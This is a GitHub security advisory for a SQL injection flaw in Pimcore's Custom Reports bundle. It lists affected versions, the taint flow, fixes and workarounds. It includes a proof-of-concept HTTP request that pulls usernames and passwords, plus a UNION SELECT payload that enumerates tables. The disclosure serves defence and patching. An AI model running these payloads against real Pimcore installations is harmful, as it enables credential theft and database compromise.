GitHub Advisoryadvisory · Packagist
GHSA-23rh-xw42-fq82 Pimcore: SQL Injection in Custom Reports via Malicious Report Configuration
HIGH
Official page ↗
- Aliases
- CVE-2026-55416
- Ecosystem
- Packagist
- Packages
- pimcore/pimcore
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-89
- Reviewed
- 2026-09-10
Affected packages
• Packagist pimcore/pimcore: >= 2026.1.0, < 2026.1.6 → fixed in 2026.1.6
• Packagist pimcore/pimcore: >= 12.0.0-RC1, < 12.3.10 → fixed in 12.3.10
• Packagist pimcore/pimcore: < 11.5.19 → fixed in 11.5.19
Description
Security Advisory: SQL Injection in Custom Reports via Malicious Report Configuration
Summary
Impact
A SQL injection vulnerability exists in the Custom Reports bundle (`bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:84-135`). An authenticated attacker with `reports_config` permission can inject arbitrary SQL via the report configuration fields (`sql`, `from`, `where`, `groupby`), which are directly concatenated into SQL queries without parameterization. The only protection is a regex blacklist that checks for `ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE` keywords, which is trivially bypassable — it does not block `INSERT`, `UNION SELECT`, `LOAD_FILE()`, `INTO OUTFILE`, stacked queries, subqueries, or MySQL comment injection (`/*!*/`). Exploitation allows reading, modifying, or deleting all data in the database, leading to complete data compromise.
Additionally, the LIMIT clause at line 51 directly interpolates `$offset` and `$limit` without integer casting, creating a secondary injection point.
Patches
Versions 2026.1.6, 12.3.10, 11.5.19.
Workarounds
1. Restrict `reports_config` permission to only highly trusted administrators
2. Deploy a WAF rule to block requests to `/admin/bundle/customreports/custom-report/update` containing SQL keywords in the `configuration` parameter
3. Replace the custom SQL adapter with a parameterized query builder approach
Attack Path (Validation Evidence)
```
[Entry Point] POST /admin/bundle/customreports/custom-report/update HTTP/1.1
↓ (requires reports_config permission + valid admin session)
[Controller] CustomReportController::updateAction()
↓ $configuration = decodeJson($request->request->getString('configuration'))
[Config Store] Configuration saved to custom_reports database table
[Config Load] Tool\Config::getByName() loads stdClass $config from DB
↓
[Adapter] Sql::getBaseQuery() → Sql::buildQueryString($config)
↓ Directly concatenates config fields:
[Vulnerable] $sql .= "\n" . $config['sql']; // Line 92
$sql .= "\n" . $config['from']; // Line 103
$sql .= "\n" . 'WHERE (' . $config['where'] . ')'; // Line 110
$sql .= "\n" . $config['groupby']; // Line 117
[Weak Guard] preg_match('/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE)\s/i', ...)
↓ ✗ Bypassable — missing INSERT, UNION, SELECT, subqueries, comments
[Execution] $db->fetchAllAssociative($sql); // Line 54
↓
[Impact] Arbitrary SQL execution — full database compromise
```
Taint Flow (Validation Evidence)
```
Source: $request->request->getString('configuration') (HTTP POST body, user-controlled)
↓ json_decode() → stdClass
[Store] Persistent in database (custom_reports table)
[Load] Config::getByName() → stdClass $config
↓ ✗ No sanitization (only bypassable regex blacklist)
[Sink] $db->fetchAllAssociative($concatenatedSql)
↓
Impact: Attacker-controlled SQL executed against the database
```
Proof of Concept
Steps
1. Authenticate as an admin user with `reports_config` permission
2. Send a report update request with malicious SQL in the configuration:
Request
```http
POST /admin/bundle/customreports/custom-report/update HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=
name=malicious_report&configuration=%7B%22sql%22%3A%22SELECT%20id%2C%20username%2C%20password%20FROM%20users%22%2C%22from%22%3A%22users%22%2C%22where%22%3A%221%3D1%22%2C%22groupby%22%3A%22%22%2C%22dataSourceConfig%22%3A%7B%7D%7D
```
3. Access the report data endpoint to retrieve extracted user credentials
4. Alternatively, the `where` field can be set to:
```
1=1 UNION SELECT TABLE_NAME, TABLE_SCHEMA, 1 FROM INFORMATION_SCHEMA.TABLES
```
to enumerate all database tables
Expected Result
The custom report returns rows from arbitrary tables beyond what was intended, proving successful SQL injection.
Affected Component
• File: `bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php`
• Method: `buildQueryString()` (lines 84-135), `getBaseQuery()` (lines 137-216), `getData()` (lines 25-58)
• Class: `Pimcore\Bundle\CustomReportsBundle\Tool\Adapter\Sql`
Fix Recommendation
Replace the custom SQL concatenation approach with a parameterized query builder:
```php
// Instead of:
$sql .= "\n" . $config['sql'];
$sql .= "\n" . $config['from'];
$sql .= "\n" . 'WHERE (' . $config['where'] . ')';
// Use a whitelist-based approach:
// 1. Only allow predefined table names from a whitelist
// 2. Use Doctrine QueryBuilder for WHERE conditions
// 3. Use parameterized queries for all user-supplied values
// 4. Cast LIMIT/OFFSET to integers
$sql .= ' LIMIT ' . (int)$offset . ',' . (int)$limit;
```
Resources
• CWE-89: SQL Injection
• OWASP SQL Injection Prevention Cheat Sheet
Related
Alias · CVE (1)
- CVE-2026-55416 Pimcore is an Open Source Data & Experience Management Platform. vulnerability
Weakness · CWE (1)
- CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness
References
- https://github.com/pimcore/pimcore/security/advisories/GHSA-23rh-xw42-fq82 web
- https://github.com/pimcore/pimcore package
- https://github.com/pimcore/pimcore/releases/tag/v11.5.19 web
- https://github.com/pimcore/pimcore/releases/tag/v12.3.10 web
- https://github.com/pimcore/pimcore/releases/tag/v2026.1.6 web